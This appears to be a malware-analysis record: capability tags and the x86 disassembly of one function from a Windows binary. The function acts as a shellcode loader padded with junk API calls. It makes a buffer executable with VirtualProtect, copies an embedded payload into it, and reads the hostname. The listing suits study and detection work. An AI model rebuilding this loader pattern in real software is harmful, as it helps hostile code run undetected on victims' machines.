Function at 0x40326d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push esi
push edi
xor edi, edi
cmp dword [0x2fa4ad8], 0x5b1
jne 0x403317
push edi
lea eax, [ebp - 0x414]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push dword [ebp - 8]
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0x402d0c
push edi
call fcn.00403ab3
pop ecx
pop ecx
lea esi, [ebp - 0x14]
call fcn.00402f10
mov ecx, esi
call fcn.00402f30
push edi
call fcn.0040389b
push edi
push edi
call fcn.004038a6
push edi
call fcn.004039d8
add esp, 0xc
mov dword [esp], edi
call fcn.00402f5a
fstp st(0)
push edi
call fcn.004039d8
pop ecx
call fcn.00403ad5
add dword [0x2fa4ad8], 0x1134b
push ebx
push dword [0x2fa4ad8]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x2fa4ad8]
mov dword [0x2fa3a2c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, 0x206d47
jg 0x403368
inc esi
cmp esi, 0x4f6a4
jl 0x40334f
xor esi, esi
cmp dword [0x2fa4ad8], edi
jbe 0x4033b4
cmp dword [0x2fa4ad8], 0xa8
mov eax, dword [0x2fa4adc]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x2fa3a2c]
mov byte [ecx + esi], al
jne 0x4033ab
push edi
call dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
inc esi
cmp esi, dword [0x2fa4ad8]
jb 0x403372
xor esi, esi
mov eax, dword [0x2fa4ad8]
add eax, esi
cmp eax, 0xe
jne 0x4033d5
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
inc esi
cmp esi, 0x39621
jl 0x4033b6
mov esi, 0x1e6cc
push edi
push edi
call dword [sym.imp.USER32.dll_LoadMenuW]
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_CharToOemBuffA]
lea eax, [ebp - 0x14]
push eax
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x4033e3
call fcn.0040319f
call ebx
cmp esi, 0x26
jne 0x403415
call fcn.00403253
inc esi
cmp esi, 0x6753f
jl 0x403409
push 0x7b
pop esi
pop ebx
cmp dword [0x2fa4ad8], 0x86
jne 0x403463
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push edi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push edi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
dec esi
jne 0x403422
push 0x402d20
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
leave
ret